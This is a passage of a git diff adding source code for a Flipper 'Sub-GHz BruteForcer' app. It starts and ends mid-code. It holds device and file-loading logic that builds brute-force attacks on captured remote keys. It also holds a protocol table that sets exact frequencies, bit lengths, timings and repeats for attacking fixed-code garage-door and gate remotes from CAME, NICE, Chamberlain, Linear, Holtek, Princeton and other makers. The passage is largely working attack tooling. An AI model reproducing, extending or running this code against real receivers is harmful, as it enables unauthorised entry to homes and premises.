= subghz_receiver_alloc_init(instance->environment); + subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); + furi_hal_subghz_reset(); + + uint8_t protocol_check_result = SubBruteFileResultProtocolNotFound; +#ifdef FURI_DEBUG + uint8_t bits; + uint32_t te; + uint8_t repeat; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; +#endif + if(type != SubBruteAttackLoadFile) { + instance->decoder_result = subghz_receiver_search_decoder_base_by_name( + instance->receiver, subbrute_protocol_file(instance->protocol_info->file)); + + if(!instance->decoder_result || + instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { + FURI_LOG_E(TAG, "Can't load SubGhzProtocolDecoderBase in phase non-file decoder set"); + } else { + protocol_check_result = SubBruteFileResultOk; + + // Calc max value + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->protocol_info->bits, instance->two_bytes); + } +#ifdef FURI_DEBUG + bits = instance->protocol_info->bits; + te = instance->protocol_info->te; + repeat = instance->protocol_info->repeat + instance->extra_repeats; + preset = instance->protocol_info->preset; + file = instance->protocol_info->file; +#endif + } else { + // And here we need to set preset enum + protocol_check_result = SubBruteFileResultOk; + + // Calc max value + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->file_protocol_info->bits, instance->two_bytes); +#ifdef FURI_DEBUG + bits = instance->file_protocol_info->bits; + te = instance->file_protocol_info->te; + repeat = instance->file_protocol_info->repeat + instance->extra_repeats; + preset = instance->file_protocol_info->preset; + file = instance->file_protocol_info->file; +#endif + } + + subghz_receiver_free(instance->receiver); + instance->receiver = NULL; + + if(protocol_check_result != SubBruteFileResultOk) { + return SubBruteFileResultProtocolNotFound; + } + +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_device_attack_set: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", + subbrute_protocol_name(instance->attack), + bits, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + te, + repeat, + instance->max_value); +#endif + + return SubBruteFileResultOk; +} + +uint8_t subbrute_device_load_from_file(SubBruteDevice* instance, const char* file_path) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_load_from_file: %s", file_path); +#endif + SubBruteFileResult result = SubBruteFileResultUnknown; + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + subbrute_device_free_protocol_info(instance); + instance->file_protocol_info = malloc(sizeof(SubBruteProtocol)); + + FuriString* temp_str; + temp_str = furi_string_alloc(); + uint32_t temp_data32; + + instance->receiver = subghz_receiver_alloc_init(instance->environment); + subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); + furi_hal_subghz_reset(); + + do { + if(!flipper_format_file_open_existing(fff_data_file, file_path)) { + FURI_LOG_E(TAG, "Error open file %s", file_path); + result = SubBruteFileResultErrorOpenFile; + break; + } + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + result = SubBruteFileResultMissingOrIncorrectHeader; + break; + } + + // Frequency + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect Frequency"); + result = SubBruteFileResultMissingOrIncorrectFrequency; + break; + } + instance->file_protocol_info->frequency = temp_data32; + if(!furi_hal_subghz_is_tx_allowed(instance->file_protocol_info->frequency)) { + result = SubBruteFileResultFrequencyNotAllowed; + break; + } + + // Preset + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Preset FAIL"); + result = SubBruteFileResultPresetInvalid; + break; + } + instance->file_protocol_info->preset = subbrute_protocol_convert_preset(temp_str); + + const char* protocol_file = NULL; + // Protocol + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + result = SubBruteFileResultMissingProtocol; + break; + } + instance->file_protocol_info->file = subbrute_protocol_file_protocol_name(temp_str); + protocol_file = subbrute_protocol_file(instance->file_protocol_info->file); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Protocol: %s", protocol_file); +#endif + + instance->decoder_result = subghz_receiver_search_decoder_base_by_name( + instance->receiver, furi_string_get_cstr(temp_str)); + + if((!instance->decoder_result) || (strcmp(protocol_file, "RAW") == 0) || + (strcmp(protocol_file, "Unknown") == 0)) { + FURI_LOG_E(TAG, "Protocol unsupported"); + result = SubBruteFileResultProtocolNotSupported; + break; + } + + if(instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { + FURI_LOG_E(TAG, "Protocol is dynamic - not supported"); + result = SubBruteFileResultDynamicProtocolNotValid; + break; + } +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Decoder: %s", instance->decoder_result->protocol->name); +#endif + + // Bit + if(!flipper_format_read_uint32(fff_data_file, "Bit", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect Bit"); + result = SubBruteFileResultMissingOrIncorrectBit; + break; + } + instance->file_protocol_info->bits = temp_data32; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Bit: %d", instance->file_protocol_info->bits); +#endif + + uint8_t key_data[sizeof(uint64_t)] = {0}; + if(!flipper_format_read_hex(fff_data_file, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Missing Key"); + result = SubBruteFileResultMissingOrIncorrectKey; + break; + } + uint64_t data = 0; + for(uint8_t i = 0; i < sizeof(uint64_t); i++) { + data = (data << 8) | key_data[i]; + } +#if FURI_DEBUG + FURI_LOG_D(TAG, "Key: %.16llX", data); +#endif + instance->key_from_file = data; + + // TE + if(!flipper_format_read_uint32(fff_data_file, "TE", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect TE"); + //result = SubBruteFileResultMissingOrIncorrectTe; + //break; + } else { + instance->file_protocol_info->te = temp_data32 != 0 ? temp_data32 : 0; + } + + // Repeat + if(flipper_format_read_uint32(fff_data_file, "Repeat", &temp_data32, 1)) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Repeat: %ld", temp_data32); +#endif + instance->file_protocol_info->repeat = (uint8_t)temp_data32; + } else { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Repeat: 3 (default)"); +#endif + instance->file_protocol_info->repeat = 3; + } + + result = SubBruteFileResultOk; + } while(0); + + furi_string_free(temp_str); + flipper_format_file_close(fff_data_file); + flipper_format_free(fff_data_file); + furi_record_close(RECORD_STORAGE); + + subghz_receiver_free(instance->receiver); + + instance->decoder_result = NULL; + instance->receiver = NULL; + + if(result == SubBruteFileResultOk) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Loaded successfully"); +#endif + } else { + subbrute_device_free_protocol_info(instance); + } + + return result; +} + +void subbrute_device_attack_set_default_values( + SubBruteDevice* instance, + SubBruteAttacks default_attack) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_attack_set_default_values"); +#endif + instance->attack = default_attack; + instance->current_step = 0x00; + instance->bit_index = 0x00; + instance->extra_repeats = 0; + instance->two_bytes = false; + + if(default_attack != SubBruteAttackLoadFile) { + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->bit_index, instance->two_bytes); + } +} + +const char* subbrute_device_error_get_desc(SubBruteFileResult error_id) { + const char* result; + switch(error_id) { + case(SubBruteFileResultOk): + result = "OK"; + break; + case(SubBruteFileResultErrorOpenFile): + result = "invalid name/path"; + break; + case(SubBruteFileResultMissingOrIncorrectHeader): + result = "Missing or incorrect header"; + break; + case(SubBruteFileResultFrequencyNotAllowed): + result = "Invalid frequency!"; + break; + case(SubBruteFileResultMissingOrIncorrectFrequency): + result = "Missing or incorrect Frequency"; + break; + case(SubBruteFileResultPresetInvalid): + result = "Preset FAIL"; + break; + case(SubBruteFileResultMissingProtocol): + result = "Missing Protocol"; + break; + case(SubBruteFileResultProtocolNotSupported): + result = "Protocol unsupported"; + break; + case(SubBruteFileResultDynamicProtocolNotValid): + result = "Dynamic protocol unsupported"; + break; + case(SubBruteFileResultProtocolNotFound): + result = "Protocol not found"; + break; + case(SubBruteFileResultMissingOrIncorrectBit): + result = "Missing or incorrect Bit"; + break; + case(SubBruteFileResultMissingOrIncorrectKey): + result = "Missing or incorrect Key"; + break; + case(SubBruteFileResultMissingOrIncorrectTe): + result = "Missing or incorrect TE"; + break; + case SubBruteFileResultUnknown: + default: + result = "Unknown error"; + break; + } + return result; +} + +void subbrute_device_free_protocol_info(SubBruteDevice* instance) { + furi_assert(instance); + instance->protocol_info = NULL; + if(instance->file_protocol_info) { + free(instance->file_protocol_info); + } + instance->file_protocol_info = NULL; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_device.h b/applications/external/subghz_bruteforcer/subbrute_device.h new file mode 100644 index 000000000..7ff650e93 --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_device.h @@ -0,0 +1,75 @@ +#pragma once + +#include "subbrute_protocols.h" +#include +#include +#include +#include + +#define SUBBRUTE_TEXT_STORE_SIZE 256 + +#define SUBBRUTE_MAX_LEN_NAME 64 +#define SUBBRUTE_PATH EXT_PATH("subghz") +#define SUBBRUTE_FILE_EXT ".sub" + +#define SUBBRUTE_PAYLOAD_SIZE 16 + +typedef enum { + SubBruteFileResultUnknown, + SubBruteFileResultOk, + SubBruteFileResultErrorOpenFile, + SubBruteFileResultMissingOrIncorrectHeader, + SubBruteFileResultFrequencyNotAllowed, + SubBruteFileResultMissingOrIncorrectFrequency, + SubBruteFileResultPresetInvalid, + SubBruteFileResultMissingProtocol, + SubBruteFileResultProtocolNotSupported, + SubBruteFileResultDynamicProtocolNotValid, + SubBruteFileResultProtocolNotFound, + SubBruteFileResultMissingOrIncorrectBit, + SubBruteFileResultMissingOrIncorrectKey, + SubBruteFileResultMissingOrIncorrectTe, +} SubBruteFileResult; + +typedef struct { + const SubBruteProtocol* protocol_info; + SubBruteProtocol* file_protocol_info; + + // Current step + uint64_t current_step; + + // SubGhz + SubGhzReceiver* receiver; + SubGhzProtocolDecoderBase* decoder_result; + SubGhzEnvironment* environment; + + // Attack state + SubBruteAttacks attack; + uint64_t max_value; + uint8_t extra_repeats; + + // Loaded info for attack type + uint64_t key_from_file; + uint64_t current_key_from_file; + bool two_bytes; + // Index of group to bruteforce in loaded file + uint8_t bit_index; +} SubBruteDevice; + +SubBruteDevice* subbrute_device_alloc(); +void subbrute_device_free(SubBruteDevice* instance); + +bool subbrute_device_save_file(SubBruteDevice* instance, const char* key_name); +const char* subbrute_device_error_get_desc(SubBruteFileResult error_id); +SubBruteFileResult subbrute_device_attack_set( + SubBruteDevice* context, + SubBruteAttacks type, + uint8_t extra_repeats); +uint8_t subbrute_device_load_from_file(SubBruteDevice* context, const char* file_path); + +uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step); + +void subbrute_device_free_protocol_info(SubBruteDevice* instance); +void subbrute_device_attack_set_default_values( + SubBruteDevice* context, + SubBruteAttacks default_attack); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_i.h b/applications/external/subghz_bruteforcer/subbrute_i.h new file mode 100644 index 000000000..c50a7ed9b --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_i.h @@ -0,0 +1,80 @@ +#pragma once + +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "SubGHz_Bruteforcer_icons.h" + +#include + +#include +#include + +#include "subbrute.h" +#include "subbrute_device.h" +#include "helpers/subbrute_worker.h" +#include "views/subbrute_attack_view.h" +#include "views/subbrute_main_view.h" + +#define SUBBRUTEFORCER_VER "Sub-GHz BruteForcer 3.5" + +#ifdef FURI_DEBUG +//#define SUBBRUTE_FAST_TRACK false +#endif + +typedef enum { + SubBruteViewNone, + SubBruteViewMain, + SubBruteViewAttack, + SubBruteViewTextInput, + SubBruteViewDialogEx, + SubBruteViewPopup, + SubBruteViewWidget, + SubBruteViewStack, +} SubBruteView; + +struct SubBruteState { + // GUI elements + NotificationApp* notifications; + Gui* gui; + ViewDispatcher* view_dispatcher; + ViewStack* view_stack; + TextInput* text_input; + Popup* popup; + Widget* widget; + DialogsApp* dialogs; + + // Text store + char text_store[SUBBRUTE_MAX_LEN_NAME]; + FuriString* file_path; + + // Views + SubBruteMainView* view_main; + SubBruteAttackView* view_attack; + SubBruteView current_view; + + // Scene + SceneManager* scene_manager; + + // SubBruteDevice + SubBruteDevice* device; + // SubBruteWorker + SubBruteWorker* worker; +}; + +void subbrute_show_loading_popup(void* context, bool show); +void subbrute_text_input_callback(void* context); +void subbrute_popup_closed_callback(void* context); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_protocols.c b/applications/external/subghz_bruteforcer/subbrute_protocols.c new file mode 100644 index 000000000..6c6781b78 --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_protocols.c @@ -0,0 +1,881 @@ +#include "subbrute_protocols.h" +#include "math.h" +#include + +#define TAG "SubBruteProtocols" + +/** + * CAME 12bit 303MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_303 = { + .frequency = 303875000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 307MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_307 = { + .frequency = 307800000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_315 = { + .frequency = 315000000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_868 = { + .frequency = 868350000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * NICE 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_nice_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = NICEFileProtocol}; + +/** + * NICE 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_nice_12bit_868 = { + .frequency = 868350000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = NICEFileProtocol}; + +/** + * Ansonic 12bit 433.075MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_433075 = { + .frequency = 433075000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Ansonic 12bit 433.92MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Ansonic 12bit 434.075MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_434 = { + .frequency = 434075000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Chamberlain 9bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_300 = { + .frequency = 300000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_315 = { + .frequency = 315000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_390 = { + .frequency = 390000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_433 = { + .frequency = 433920000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_300 = { + .frequency = 300000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_315 = { + .frequency = 315000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_390 = { + .frequency = 390000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_300 = { + .frequency = 300000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_315 = { + .frequency = 315000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_390 = { + .frequency = 390000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Linear 10bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_linear_10bit_300 = { + .frequency = 300000000, + .bits = 10, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearFileProtocol}; + +/** + * Linear 10bit 310MHz + */ +const SubBruteProtocol subbrute_protocol_linear_10bit_310 = { + .frequency = 310000000, + .bits = 10, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearFileProtocol}; + +/** + * Linear Delta 3 8bit 310MHz + */ +const SubBruteProtocol subbrute_protocol_linear_delta_8bit_310 = { + .frequency = 310000000, + .bits = 8, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearDeltaFileProtocol}; + +/** + * UNILARM 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_unilarm_24bit_330 = { + .frequency = 330000000, + .bits = 25, + .te = 209, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = UNILARMFileProtocol}; + +/** + * UNILARM 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_unilarm_24bit_433 = { + .frequency = 433920000, + .bits = 25, + .te = 209, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = UNILARMFileProtocol}; + +/** + * SMC5326 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_smc5326_24bit_330 = { + .frequency = 330000000, + .bits = 25, + .te = 320, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = SMC5326FileProtocol}; + +/** + * SMC5326 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_smc5326_24bit_433 = { + .frequency = 433920000, + .bits = 25, + .te = 320, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = SMC5326FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_315 = { + .frequency = 315000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_330 = { + .frequency = 330000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_390 = { + .frequency = 390000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_433 = { + .frequency = 433920000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * Holtek FM 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 204, + .repeat = 4, + .preset = FuriHalSubGhzPreset2FSKDev476Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_433 = { + .frequency = 433920000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_315 = { + .frequency = 315000000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_868 = { + .frequency = 868350000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 915MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_915 = { + .frequency = 915000000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * BF existing dump + */ +const SubBruteProtocol subbrute_protocol_load_file = + {0, 0, 0, 3, FuriHalSubGhzPresetOok650Async, UnknownFileProtocol}; + +static const char* subbrute_protocol_names[] = { + [SubBruteAttackCAME12bit303] = "CAME 12bit 303MHz", + [SubBruteAttackCAME12bit307] = "CAME 12bit 307MHz", + [SubBruteAttackCAME12bit315] = "CAME 12bit 315MHz", + [SubBruteAttackCAME12bit433] = "CAME 12bit 433MHz", + [SubBruteAttackCAME12bit868] = "CAME 12bit 868MHz", + [SubBruteAttackNICE12bit433] = "NICE 12bit 433MHz", + [SubBruteAttackNICE12bit868] = "NICE 12bit 868MHz", + [SubBruteAttackAnsonic12bit433075] = "Ansonic 12bit 433.07MHz", + [SubBruteAttackAnsonic12bit433] = "Ansonic 12bit 433.92MHz", + [SubBruteAttackAnsonic12bit434] = "Ansonic 12bit 434.07MHz", + [SubBruteAttackHoltek12bitFM433] = "Holtek FM 12bit 433MHz", + [SubBruteAttackHoltek12bitAM433] = "Holtek AM 12bit 433MHz", + [SubBruteAttackHoltek12bitAM315] = "Holtek AM 12bit 315MHz", + [SubBruteAttackHoltek12bitAM868] = "Holtek AM 12bit 868MHz", + [SubBruteAttackHoltek12bitAM915] = "Holtek AM 12bit 915MHz", + [SubBruteAttackChamberlain9bit300] = "Chamberlain 9bit 300MHz", + [SubBruteAttackChamberlain9bit315] = "Chamberlain 9bit 315MHz", + [SubBruteAttackChamberlain9bit390] = "Chamberlain 9bit 390MHz", + [SubBruteAttackChamberlain9bit433] = "Chamberlain 9bit 433MHz", + [SubBruteAttackChamberlain8bit300] = "Chamberlain 8bit 300MHz", + [SubBruteAttackChamberlain8bit315] = "Chamberlain 8bit 315MHz", + [SubBruteAttackChamberlain8bit390] = "Chamberlain 8bit 390MHz", + [SubBruteAttackChamberlain7bit300] = "Chamberlain 7bit 300MHz", + [SubBruteAttackChamberlain7bit315] = "Chamberlain 7bit 315MHz", + [SubBruteAttackChamberlain7bit390] = "Chamberlain 7bit 390MHz", + [SubBruteAttackLinear10bit300] = "Linear 10bit 300MHz", + [SubBruteAttackLinear10bit310] = "Linear 10bit 310MHz", + [SubBruteAttackLinearDelta8bit310] = "LinearDelta3 8bit 310MHz", + [SubBruteAttackUNILARM24bit330] = "UNILARM 25bit 330MHz", + [SubBruteAttackUNILARM24bit433] = "UNILARM 25bit 433MHz", + [SubBruteAttackSMC532624bit330] = "SMC5326 25bit 330MHz", + [SubBruteAttackSMC532624bit433] = "SMC5326 25bit 433MHz", + [SubBruteAttackPT226024bit315] = "PT2260 24bit 315MHz", + [SubBruteAttackPT226024bit330] = "PT2260 24bit 330MHz", + [SubBruteAttackPT226024bit390] = "PT2260 24bit 390MHz", + [SubBruteAttackPT226024bit433] = "PT2260 24bit 433MHz", + [SubBruteAttackLoadFile] = "BF existing dump", + [SubBruteAttackTotalCount] = "Total Count", +}; + +static const char* subbrute_protocol_presets[] = { + [FuriHalSubGhzPresetIDLE] = "FuriHalSubGhzPresetIDLE", + [FuriHalSubGhzPresetOok270Async] = "FuriHalSubGhzPresetOok270Async", + [FuriHalSubGhzPresetOok650Async] = "FuriHalSubGhzPresetOok650Async", + [FuriHalSubGhzPreset2FSKDev238Async] = "FuriHalSubGhzPreset2FSKDev238Async", + [FuriHalSubGhzPreset2FSKDev476Async] = "FuriHalSubGhzPreset2FSKDev476Async", + [FuriHalSubGhzPresetMSK99_97KbAsync] = "FuriHalSubGhzPresetMSK99_97KbAsync", + [FuriHalSubGhzPresetGFSK9_99KbAsync] = "FuriHalSubGhzPresetGFSK9_99KbAsync", +}; + +const SubBruteProtocol* subbrute_protocol_registry[] = { + [SubBruteAttackCAME12bit303] = &subbrute_protocol_came_12bit_303, + [SubBruteAttackCAME12bit307] = &subbrute_protocol_came_12bit_307, + [SubBruteAttackCAME12bit315] = &subbrute_protocol_came_12bit_315, + [SubBruteAttackCAME12bit433] = &subbrute_protocol_came_12bit_433, + [SubBruteAttackCAME12bit868] = &subbrute_protocol_came_12bit_868, + [SubBruteAttackNICE12bit433] = &subbrute_protocol_nice_12bit_433, + [SubBruteAttackNICE12bit868] = &subbrute_protocol_nice_12bit_868, + [SubBruteAttackAnsonic12bit433075] = &subbrute_protocol_ansonic_12bit_433075, + [SubBruteAttackAnsonic12bit433] = &subbrute_protocol_ansonic_12bit_433, + [SubBruteAttackAnsonic12bit434] = &subbrute_protocol_ansonic_12bit_434, + [SubBruteAttackHoltek12bitFM433] = &subbrute_protocol_holtek_12bit_433, + [SubBruteAttackHoltek12bitAM433] = &subbrute_protocol_holtek_12bit_am_433, + [SubBruteAttackHoltek12bitAM315] = &subbrute_protocol_holtek_12bit_am_315, + [SubBruteAttackHoltek12bitAM868] = &subbrute_protocol_holtek_12bit_am_868, + [SubBruteAttackHoltek12bitAM915] = &subbrute_protocol_holtek_12bit_am_915, + [SubBruteAttackChamberlain9bit300] = &subbrute_protocol_chamberlain_9bit_300, + [SubBruteAttackChamberlain9bit315] = &subbrute_protocol_chamberlain_9bit_315, + [SubBruteAttackChamberlain9bit390] = &subbrute_protocol_chamberlain_9bit_390, + [SubBruteAttackChamberlain9bit433] = &subbrute_protocol_chamberlain_9bit_433, + [SubBruteAttackChamberlain8bit300] = &subbrute_protocol_chamberlain_8bit_300, + [SubBruteAttackChamberlain8bit315] = &subbrute_protocol_chamberlain_8bit_315, + [SubBruteAttackChamberlain8bit390] = &subbrute_protocol_chamberlain_8bit_390, + [SubBruteAttackChamberlain7bit300] = &subbrute_protocol_chamberlain_7bit_300, + [SubBruteAttackChamberlain7bit315] = &subbrute_protocol_chamberlain_7bit_315, + [SubBruteAttackChamberlain7bit390] = &subbrute_protocol_chamberlain_7bit_390, + [SubBruteAttackLinear10bit300] = &subbrute_protocol_linear_10bit_300, + [SubBruteAttackLinear10bit310] = &subbrute_protocol_linear_10bit_310, + [SubBruteAttackLinearDelta8bit310] = &subbrute_protocol_linear_delta_8bit_310, + [SubBruteAttackUNILARM24bit330] = &subbrute_protocol_unilarm_24bit_330, + [SubBruteAttackUNILARM24bit433] = &subbrute_protocol_unilarm_24bit_433, + [SubBruteAttackSMC532624bit330] = &subbrute_protocol_smc5326_24bit_330, + [SubBruteAttackSMC532624bit433] = &subbrute_protocol_smc5326_24bit_433, + [SubBruteAttackPT226024bit315] = &subbrute_protocol_pt2260_24bit_315, + [SubBruteAttackPT226024bit330] = &subbrute_protocol_pt2260_24bit_330, + [SubBruteAttackPT226024bit390] = &subbrute_protocol_pt2260_24bit_390, + [SubBruteAttackPT226024bit433] = &subbrute_protocol_pt2260_24bit_433, + [SubBruteAttackLoadFile] = &subbrute_protocol_load_file}; + +static const char* subbrute_protocol_file_types[] = { + [CAMEFileProtocol] = "CAME", + [NICEFileProtocol] = "Nice FLO", + [ChamberlainFileProtocol] = "Cham_Code", + [LinearFileProtocol] = "Linear", + [LinearDeltaFileProtocol] = "LinearDelta3", + [PrincetonFileProtocol] = "Princeton", + [RAWFileProtocol] = "RAW", + [BETTFileProtocol] = "BETT", + [ClemsaFileProtocol] = "Clemsa", + [DoitrandFileProtocol] = "Doitrand", + [GateTXFileProtocol] = "GateTX", + 